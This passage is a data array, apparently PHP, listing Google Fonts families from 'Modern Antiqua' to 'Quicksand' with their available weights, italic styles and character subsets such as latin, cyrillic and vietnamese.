      'Modern Antiqua'=>[['normal'],['latin','latin-ext']],
      'Mogra'=>[['normal'],['gujarati','latin','latin-ext']],
      'Mohave'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Molengo'=>[['normal'],['latin','latin-ext']],
      'Molle'=>[['italic'],['latin','latin-ext']],
      'Monda'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Monofett'=>[['normal'],['latin']],
      'Monoton'=>[['normal'],['latin']],
      'Monsieur La Doulaise'=>[['normal'],['latin','latin-ext']],
      'Montaga'=>[['normal'],['latin']],
      'Montagu Slab'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'MonteCarlo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Montez'=>[['normal'],['latin']],
      'Montserrat'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Montserrat Alternates'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Montserrat Subrayada'=>[['normal','700'],['latin']],
      'Moo Lah Lah'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Moon Dance'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Moul'=>[['normal'],['khmer','latin']],
      'Moulpali'=>[['normal'],['khmer','latin']],
      'Mountains of Christmas'=>[['normal','700'],['latin']],
      'Mouse Memoirs'=>[['normal'],['latin','latin-ext']],
      'Mr Bedfort'=>[['normal'],['latin','latin-ext']],
      'Mr Dafoe'=>[['normal'],['latin','latin-ext']],
      'Mr De Haviland'=>[['normal'],['latin','latin-ext']],
      'Mrs Saint Delafield'=>[['normal'],['latin','latin-ext']],
      'Mrs Sheppards'=>[['normal'],['latin','latin-ext']],
      'Ms Madi'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mukta'=>[['200','300','normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Mukta Mahee'=>[['200','300','normal','500','600','700','800'],['gurmukhi','latin','latin-ext']],
      'Mukta Malar'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','tamil']],
      'Mukta Vaani'=>[['200','300','normal','500','600','700','800'],['gujarati','latin','latin-ext']],
      'Mulish'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Murecho'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','japanese','latin','latin-ext']],
      'MuseoModerno'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'My Soul'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mystery Quest'=>[['normal'],['latin','latin-ext']],
      'NTR'=>[['normal'],['latin','telugu']],
      'Nabla'=>[['normal'],['cyrillic-ext','latin','latin-ext','math','vietnamese']],
      'Nanum Brush Script'=>[['normal'],['korean','latin']],
      'Nanum Gothic'=>[['normal','700','800'],['korean','latin']],
      'Nanum Gothic Coding'=>[['normal','700'],['korean','latin']],
      'Nanum Myeongjo'=>[['normal','700','800'],['korean','latin']],
      'Nanum Pen Script'=>[['normal'],['korean','latin']],
      'Neonderthaw'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Nerko One'=>[['normal'],['latin','latin-ext']],
      'Neucha'=>[['normal'],['cyrillic','latin']],
      'Neuton'=>[['200','300','normal','italic','700','800'],['latin','latin-ext']],
      'New Rocker'=>[['normal'],['latin','latin-ext']],
      'New Tegomin'=>[['normal'],['japanese','latin','latin-ext']],
      'News Cycle'=>[['normal','700'],['latin','latin-ext']],
      'Newsreader'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Niconne'=>[['normal'],['latin','latin-ext']],
      'Niramit'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Nixie One'=>[['normal'],['latin']],
      'Nobile'=>[['normal','italic','500','500italic','700','700italic'],['latin','latin-ext']],
      'Nokora'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Norican'=>[['normal'],['latin','latin-ext']],
      'Nosifer'=>[['normal'],['latin','latin-ext']],
      'Notable'=>[['normal'],['latin']],
      'Nothing You Could Do'=>[['normal'],['latin']],
      'Noticia Text'=>[['normal','italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Noto Color Emoji'=>[['normal'],['emoji']],
      'Noto Emoji'=>[['300','normal','500','600','700'],['emoji']],
      'Noto Kufi Arabic'=>[['100','200','300','normal','500','600','700','800','900'],['arabic']],
      'Noto Music'=>[['normal'],['latin','latin-ext','music']],
      'Noto Naskh Arabic'=>[['normal','500','600','700'],['arabic']],
      'Noto Nastaliq Urdu'=>[['normal','500','600','700'],['arabic','latin','latin-ext']],
      'Noto Rashi Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','devanagari','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Adlam'=>[['normal','500','600','700'],['adlam','latin','latin-ext']],
      'Noto Sans Adlam Unjoined'=>[['normal','500','600','700'],['adlam','latin','latin-ext']],
      'Noto Sans Anatolian Hieroglyphs'=>[['normal'],['anatolian-hieroglyphs']],
      'Noto Sans Arabic'=>[['100','200','300','normal','500','600','700','800','900'],['arabic']],
      'Noto Sans Armenian'=>[['100','200','300','normal','500','600','700','800','900'],['armenian','latin','latin-ext']],
      'Noto Sans Avestan'=>[['normal'],['avestan','latin','latin-ext']],
      'Noto Sans Balinese'=>[['normal','500','600','700'],['balinese','latin','latin-ext']],
      'Noto Sans Bamum'=>[['normal','500','600','700'],['bamum','latin','latin-ext']],
      'Noto Sans Bassa Vah'=>[['normal','500','600','700'],['bassa-vah','latin','latin-ext']],
      'Noto Sans Batak'=>[['normal'],['batak','latin','latin-ext']],
      'Noto Sans Bengali'=>[['100','200','300','normal','500','600','700','800','900'],['bengali','latin','latin-ext']],
      'Noto Sans Bhaiksuki'=>[['normal'],['bhaiksuki']],
      'Noto Sans Brahmi'=>[['normal'],['brahmi']],
      'Noto Sans Buginese'=>[['normal'],['buginese','latin','latin-ext']],
      'Noto Sans Buhid'=>[['normal'],['buhid','latin','latin-ext']],
      'Noto Sans Canadian Aboriginal'=>[['100','200','300','normal','500','600','700','800','900'],['canadian-aboriginal','latin','latin-ext']],
      'Noto Sans Carian'=>[['normal'],['carian']],
      'Noto Sans Caucasian Albanian'=>[['normal'],['caucasian-albanian']],
      'Noto Sans Chakma'=>[['normal'],['chakma','latin','latin-ext']],
      'Noto Sans Cham'=>[['100','200','300','normal','500','600','700','800','900'],['cham','latin','latin-ext']],
      'Noto Sans Cherokee'=>[['100','200','300','normal','500','600','700','800','900'],['cherokee','latin','latin-ext']],
      'Noto Sans Coptic'=>[['normal'],['coptic','latin','latin-ext']],
      'Noto Sans Cuneiform'=>[['normal'],['cuneiform']],
      'Noto Sans Cypriot'=>[['normal'],['cypriot']],
      'Noto Sans Deseret'=>[['normal'],['deseret']],
      'Noto Sans Devanagari'=>[['100','200','300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Noto Sans Display'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Duployan'=>[['normal'],['duployan']],
      'Noto Sans Egyptian Hieroglyphs'=>[['normal'],['egyptian-hieroglyphs']],
      'Noto Sans Elbasan'=>[['normal'],['elbasan']],
      'Noto Sans Elymaic'=>[['normal'],['elymaic']],
      'Noto Sans Ethiopic'=>[['100','200','300','normal','500','600','700','800','900'],['ethiopic','latin','latin-ext']],
      'Noto Sans Georgian'=>[['100','200','300','normal','500','600','700','800','900'],['georgian','latin','latin-ext']],
      'Noto Sans Glagolitic'=>[['normal'],['glagolitic']],
      'Noto Sans Gothic'=>[['normal'],['gothic']],
      'Noto Sans Grantha'=>[['normal'],['grantha','latin','latin-ext']],
      'Noto Sans Gujarati'=>[['100','200','300','normal','500','600','700','800','900'],['gujarati','latin','latin-ext']],
      'Noto Sans Gunjala Gondi'=>[['normal'],['gunjala-gondi']],
      'Noto Sans Gurmukhi'=>[['100','200','300','normal','500','600','700','800','900'],['gurmukhi','latin','latin-ext']],
      'Noto Sans HK'=>[['100','300','normal','500','700','900'],['chinese-hongkong','latin']],
      'Noto Sans Hanifi Rohingya'=>[['normal','500','600','700'],['hanifi-rohingya']],
      'Noto Sans Hanunoo'=>[['normal'],['hanunoo','latin','latin-ext']],
      'Noto Sans Hatran'=>[['normal'],['hatran']],
      'Noto Sans Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Sans Imperial Aramaic'=>[['normal'],['imperial-aramaic']],
      'Noto Sans Indic Siyaq Numbers'=>[['normal'],['indic-siyaq-numbers']],
      'Noto Sans Inscriptional Pahlavi'=>[['normal'],['inscriptional-pahlavi']],
      'Noto Sans Inscriptional Parthian'=>[['normal'],['inscriptional-parthian']],
      'Noto Sans JP'=>[['100','300','normal','500','700','900'],['japanese','latin']],
      'Noto Sans Javanese'=>[['normal','500','600','700'],['javanese','latin','latin-ext']],
      'Noto Sans KR'=>[['100','300','normal','500','700','900'],['korean','latin']],
      'Noto Sans Kaithi'=>[['normal'],['kaithi']],
      'Noto Sans Kannada'=>[['100','200','300','normal','500','600','700','800','900'],['kannada','latin','latin-ext']],
      'Noto Sans Kayah Li'=>[['normal','500','600','700'],['kayah-li','latin','latin-ext']],
      'Noto Sans Kharoshthi'=>[['normal'],['kharoshthi']],
      'Noto Sans Khmer'=>[['100','200','300','normal','500','600','700','800','900'],['khmer','latin','latin-ext']],
      'Noto Sans Khojki'=>[['normal'],['khojki','latin','latin-ext']],
      'Noto Sans Khudawadi'=>[['normal'],['khudawadi']],
      'Noto Sans Lao'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Sans Lao Looped'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Sans Lepcha'=>[['normal'],['latin','latin-ext','lepcha']],
      'Noto Sans Limbu'=>[['normal'],['latin','latin-ext','limbu']],
      'Noto Sans Linear A'=>[['normal'],['linear-a']],
      'Noto Sans Linear B'=>[['normal'],['linear-b']],
      'Noto Sans Lisu'=>[['normal','500','600','700'],['latin','latin-ext','lisu']],
      'Noto Sans Lycian'=>[['normal'],['lycian']],
      'Noto Sans Lydian'=>[['normal'],['lydian']],
      'Noto Sans Mahajani'=>[['normal'],['mahajani']],
      'Noto Sans Malayalam'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','malayalam']],
      'Noto Sans Mandaic'=>[['normal'],['mandaic']],
      'Noto Sans Manichaean'=>[['normal'],['manichaean']],
      'Noto Sans Marchen'=>[['normal'],['marchen']],
      'Noto Sans Masaram Gondi'=>[['normal'],['latin','latin-ext','masaram-gondi']],
      'Noto Sans Math'=>[['normal'],['math']],
      'Noto Sans Mayan Numerals'=>[['normal'],['mayan-numerals']],
      'Noto Sans Medefaidrin'=>[['normal','500','600','700'],['latin','latin-ext','medefaidrin']],
      'Noto Sans Meetei Mayek'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','meetei-mayek']],
      'Noto Sans Mende Kikakui'=>[['normal'],['latin','latin-ext','mende-kikakui']],
      'Noto Sans Meroitic'=>[['normal'],['meroitic']],
      'Noto Sans Miao'=>[['normal'],['latin','latin-ext','miao']],
      'Noto Sans Modi'=>[['normal'],['latin','latin-ext','modi']],
      'Noto Sans Mongolian'=>[['normal'],['latin','latin-ext','mongolian']],
      'Noto Sans Mono'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Mro'=>[['normal'],['mro']],
      'Noto Sans Multani'=>[['normal'],['latin','latin-ext','multani']],
      'Noto Sans Myanmar'=>[['100','200','300','normal','500','600','700','800','900'],['myanmar']],
      'Noto Sans N Ko'=>[['normal'],['nko']],
      'Noto Sans Nabataean'=>[['normal'],['nabataean']],
      'Noto Sans New Tai Lue'=>[['normal','500','600','700'],['latin','latin-ext','new-tai-lue']],
      'Noto Sans Newa'=>[['normal'],['latin','latin-ext','newa']],
      'Noto Sans Nushu'=>[['normal'],['nushu']],
      'Noto Sans Ogham'=>[['normal'],['ogham']],
      'Noto Sans Ol Chiki'=>[['normal','500','600','700'],['latin','latin-ext','ol-chiki']],
      'Noto Sans Old Hungarian'=>[['normal'],['old-hungarian']],
      'Noto Sans Old Italic'=>[['normal'],['old-italic']],
      'Noto Sans Old North Arabian'=>[['normal'],['old-north-arabian']],
      'Noto Sans Old Permic'=>[['normal'],['old-permic']],
      'Noto Sans Old Persian'=>[['normal'],['old-persian']],
      'Noto Sans Old Sogdian'=>[['normal'],['old-sogdian']],
      'Noto Sans Old South Arabian'=>[['normal'],['old-south-arabian']],
      'Noto Sans Old Turkic'=>[['normal'],['old-turkic']],
      'Noto Sans Oriya'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','oriya']],
      'Noto Sans Osage'=>[['normal'],['latin','latin-ext','osage']],
      'Noto Sans Osmanya'=>[['normal'],['latin','latin-ext','osmanya']],
      'Noto Sans Pahawh Hmong'=>[['normal'],['latin','latin-ext','pahawh-hmong']],
      'Noto Sans Palmyrene'=>[['normal'],['palmyrene']],
      'Noto Sans Pau Cin Hau'=>[['normal'],['latin','latin-ext','pau-cin-hau']],
      'Noto Sans Phags Pa'=>[['normal'],['phags-pa']],
      'Noto Sans Phoenician'=>[['normal'],['phoenician']],
      'Noto Sans Psalter Pahlavi'=>[['normal'],['psalter-pahlavi']],
      'Noto Sans Rejang'=>[['normal'],['latin','latin-ext','rejang']],
      'Noto Sans Runic'=>[['normal'],['runic']],
      'Noto Sans SC'=>[['100','300','normal','500','700','900'],['chinese-simplified','latin']],
      'Noto Sans Samaritan'=>[['normal'],['samaritan']],
      'Noto Sans Saurashtra'=>[['normal'],['latin','latin-ext','saurashtra']],
      'Noto Sans Sharada'=>[['normal'],['latin','latin-ext','sharada']],
      'Noto Sans Shavian'=>[['normal'],['shavian']],
      'Noto Sans Siddham'=>[['normal'],['latin','latin-ext','siddham']],
      'Noto Sans Sinhala'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','sinhala']],
      'Noto Sans Sogdian'=>[['normal'],['sogdian']],
      'Noto Sans Sora Sompeng'=>[['normal','500','600','700'],['latin','latin-ext','sora-sompeng']],
      'Noto Sans Soyombo'=>[['normal'],['soyombo']],
      'Noto Sans Sundanese'=>[['normal','500','600','700'],['latin','latin-ext','sundanese']],
      'Noto Sans Syloti Nagri'=>[['normal'],['latin','latin-ext','syloti-nagri']],
      'Noto Sans Symbols'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','symbols']],
      'Noto Sans Symbols 2'=>[['normal'],['symbols']],
      'Noto Sans Syriac'=>[['100','normal','900'],['syriac']],
      'Noto Sans TC'=>[['100','300','normal','500','700','900'],['chinese-traditional','latin']],
      'Noto Sans Tagalog'=>[['normal'],['latin','latin-ext','tagalog']],
      'Noto Sans Tagbanwa'=>[['normal'],['latin','latin-ext','tagbanwa']],
      'Noto Sans Tai Le'=>[['normal'],['latin','latin-ext','tai-le']],
      'Noto Sans Tai Tham'=>[['normal','500','600','700'],['latin','latin-ext','tai-tham']],
      'Noto Sans Tai Viet'=>[['normal'],['latin','latin-ext','tai-viet']],
      'Noto Sans Takri'=>[['normal'],['latin','latin-ext','takri']],
      'Noto Sans Tamil'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tamil']],
      'Noto Sans Tamil Supplement'=>[['normal'],['tamil-supplement']],
      'Noto Sans Telugu'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','telugu']],
      'Noto Sans Thaana'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thaana']],
      'Noto Sans Thai'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thai']],
      'Noto Sans Thai Looped'=>[['100','200','300','normal','500','600','700','800','900'],['thai']],
      'Noto Sans Tifinagh'=>[['normal'],['tifinagh']],
      'Noto Sans Tirhuta'=>[['normal'],['tirhuta']],
      'Noto Sans Ugaritic'=>[['normal'],['ugaritic']],
      'Noto Sans Vai'=>[['normal'],['latin','latin-ext','vai']],
      'Noto Sans Wancho'=>[['normal'],['latin','latin-ext','wancho']],
      'Noto Sans Warang Citi'=>[['normal'],['latin','latin-ext','warang-citi']],
      'Noto Sans Yi'=>[['normal'],['latin','latin-ext','yi']],
      'Noto Sans Zanabazar Square'=>[['normal'],['latin','latin-ext','zanabazar-square']],
      'Noto Serif'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Serif Ahom'=>[['normal'],['ahom','latin','latin-ext']],
      'Noto Serif Armenian'=>[['100','200','300','normal','500','600','700','800','900'],['armenian','latin','latin-ext']],
      'Noto Serif Balinese'=>[['normal'],['balinese','latin','latin-ext']],
      'Noto Serif Bengali'=>[['100','200','300','normal','500','600','700','800','900'],['bengali','latin','latin-ext']],
      'Noto Serif Devanagari'=>[['100','200','300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Noto Serif Display'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Serif Dogra'=>[['normal'],['dogra']],
      'Noto Serif Ethiopic'=>[['100','200','300','normal','500','600','700','800','900'],['ethiopic','latin','latin-ext']],
      'Noto Serif Georgian'=>[['100','200','300','normal','500','600','700','800','900'],['georgian','latin','latin-ext']],
      'Noto Serif Grantha'=>[['normal'],['grantha','latin','latin-ext']],
      'Noto Serif Gujarati'=>[['100','200','300','normal','500','600','700','800','900'],['gujarati','latin','latin-ext']],
      'Noto Serif Gurmukhi'=>[['100','200','300','normal','500','600','700','800','900'],['gurmukhi','latin','latin-ext']],
      'Noto Serif HK'=>[['200','300','normal','500','600','700','800','900'],['chinese-hongkong','cyrillic','latin','latin-ext','vietnamese']],
      'Noto Serif Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Serif JP'=>[['200','300','normal','500','600','700','900'],['japanese','latin']],
      'Noto Serif KR'=>[['200','300','normal','500','600','700','900'],['korean','latin']],
      'Noto Serif Kannada'=>[['100','200','300','normal','500','600','700','800','900'],['kannada','latin','latin-ext']],
      'Noto Serif Khmer'=>[['100','200','300','normal','500','600','700','800','900'],['khmer','latin','latin-ext']],
      'Noto Serif Khojki'=>[['normal','500','600','700'],['khojki','latin','latin-ext']],
      'Noto Serif Lao'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Serif Malayalam'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','malayalam']],
      'Noto Serif Myanmar'=>[['100','200','300','normal','500','600','700','800','900'],['myanmar']],
      'Noto Serif Nyiakeng Puachue Hmong'=>[['normal','500','600','700'],['nyiakeng-puachue-hmong']],
      'Noto Serif Oriya'=>[['normal','500','600','700'],['latin','latin-ext','oriya']],
      'Noto Serif SC'=>[['200','300','normal','500','600','700','900'],['chinese-simplified','latin']],
      'Noto Serif Sinhala'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','sinhala']],
      'Noto Serif TC'=>[['200','300','normal','500','600','700','900'],['chinese-traditional','latin']],
      'Noto Serif Tamil'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','tamil']],
      'Noto Serif Tangut'=>[['normal'],['tangut']],
      'Noto Serif Telugu'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','telugu']],
      'Noto Serif Thai'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thai']],
      'Noto Serif Tibetan'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tibetan']],
      'Noto Serif Yezidi'=>[['normal','500','600','700'],['yezidi']],
      'Noto Traditional Nushu'=>[['normal'],['nushu']],
      'Nova Cut'=>[['normal'],['latin']],
      'Nova Flat'=>[['normal'],['latin']],
      'Nova Mono'=>[['normal'],['greek','latin']],
      'Nova Oval'=>[['normal'],['latin']],
      'Nova Round'=>[['normal'],['latin']],
      'Nova Script'=>[['normal'],['latin']],
      'Nova Slim'=>[['normal'],['latin']],
      'Nova Square'=>[['normal'],['latin']],
      'Numans'=>[['normal'],['latin']],
      'Nunito'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Nunito Sans'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Nuosu SIL'=>[['normal'],['latin','latin-ext','yi']],
      'Odibee Sans'=>[['normal'],['latin']],
      'Odor Mean Chey'=>[['normal'],['khmer','latin']],
      'Offside'=>[['normal'],['latin']],
      'Oi'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','tamil','vietnamese']],
      'Old Standard TT'=>[['normal','italic','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Oldenburg'=>[['normal'],['latin','latin-ext']],
      'Ole'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Oleo Script'=>[['normal','700'],['latin','latin-ext']],
      'Oleo Script Swash Caps'=>[['normal','700'],['latin','latin-ext']],
      'Oooh Baby'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Open Sans'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Oranienbaum'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Orbitron'=>[['normal','500','600','700','800','900'],['latin']],
      'Oregano'=>[['normal','italic'],['latin','latin-ext']],
      'Orelega One'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Orienta'=>[['normal'],['latin','latin-ext']],
      'Original Surfer'=>[['normal'],['latin']],
      'Oswald'=>[['200','300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Outfit'=>[['100','200','300','normal','500','600','700','800','900'],['latin']],
      'Over the Rainbow'=>[['normal'],['latin']],
      'Overlock'=>[['normal','italic','700','700italic','900','900italic'],['latin','latin-ext']],
      'Overlock SC'=>[['normal'],['latin','latin-ext']],
      'Overpass'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Overpass Mono'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Ovo'=>[['normal'],['latin']],
      'Oxanium'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext']],
      'Oxygen'=>[['300','normal','700'],['latin','latin-ext']],
      'Oxygen Mono'=>[['normal'],['latin','latin-ext']],
      'PT Mono'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans Caption'=>[['normal','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans Narrow'=>[['normal','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Serif'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Serif Caption'=>[['normal','italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Pacifico'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Padauk'=>[['normal','700'],['latin','latin-ext','myanmar']],
      'Palanquin'=>[['100','200','300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Palanquin Dark'=>[['normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Pangolin'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Paprika'=>[['normal'],['latin','latin-ext']],
      'Parisienne'=>[['normal'],['latin','latin-ext']],
      'Passero One'=>[['normal'],['latin','latin-ext']],
      'Passion One'=>[['normal','700','900'],['latin','latin-ext']],
      'Passions Conflict'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pathway Gothic One'=>[['normal'],['latin','latin-ext']],
      'Patrick Hand'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Patrick Hand SC'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pattaya'=>[['normal'],['cyrillic','latin','latin-ext','thai','vietnamese']],
      'Patua One'=>[['normal'],['latin']],
      'Pavanam'=>[['normal'],['latin','latin-ext','tamil']],
      'Paytone One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Peddana'=>[['normal'],['latin','telugu']],
      'Peralta'=>[['normal'],['latin','latin-ext']],
      'Permanent Marker'=>[['normal'],['latin']],
      'Petemoss'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Petit Formal Script'=>[['normal'],['latin','latin-ext']],
      'Petrona'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Philosopher'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','vietnamese']],
      'Piazzolla'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Piedra'=>[['normal'],['latin','latin-ext']],
      'Pinyon Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pirata One'=>[['normal'],['latin','latin-ext']],
      'Plaster'=>[['normal'],['latin','latin-ext']],
      'Play'=>[['normal','700'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Playball'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Playfair Display'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Playfair Display SC'=>[['normal','italic','700','700italic','900','900italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Plus Jakarta Sans'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Podkova'=>[['normal','500','600','700','800'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Poiret One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Poller One'=>[['normal'],['latin']],
      'Poly'=>[['normal','italic'],['latin']],
      'Pompiere'=>[['normal'],['latin']],
      'Pontano Sans'=>[['normal'],['latin','latin-ext']],
      'Poor Story'=>[['normal'],['korean','latin']],
      'Poppins'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['devanagari','latin','latin-ext']],
      'Port Lligat Sans'=>[['normal'],['latin']],
      'Port Lligat Slab'=>[['normal'],['latin']],
      'Potta One'=>[['normal'],['japanese','latin','latin-ext','vietnamese']],
      'Pragati Narrow'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Praise'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Prata'=>[['normal'],['cyrillic','cyrillic-ext','latin','vietnamese']],
      'Preahvihear'=>[['normal'],['khmer','latin']],
      'Press Start 2P'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext']],
      'Pridi'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Princess Sofia'=>[['normal'],['latin','latin-ext']],
      'Prociono'=>[['normal'],['latin']],
      'Prompt'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Prosto One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Proza Libre'=>[['normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext']],
      'Public Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Puppies Play'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Puritan'=>[['normal','italic','700','700italic'],['latin']],
      'Purple Purse'=>[['normal'],['latin','latin-ext']],
      'Qahiri'=>[['normal'],['arabic','latin']],
      'Quando'=>[['normal'],['latin','latin-ext']],
      'Quantico'=>[['normal','italic','700','700italic'],['latin']],
      'Quattrocento'=>[['normal','700'],['latin','latin-ext']],
      'Quattrocento Sans'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Questrial'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Quicksand'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
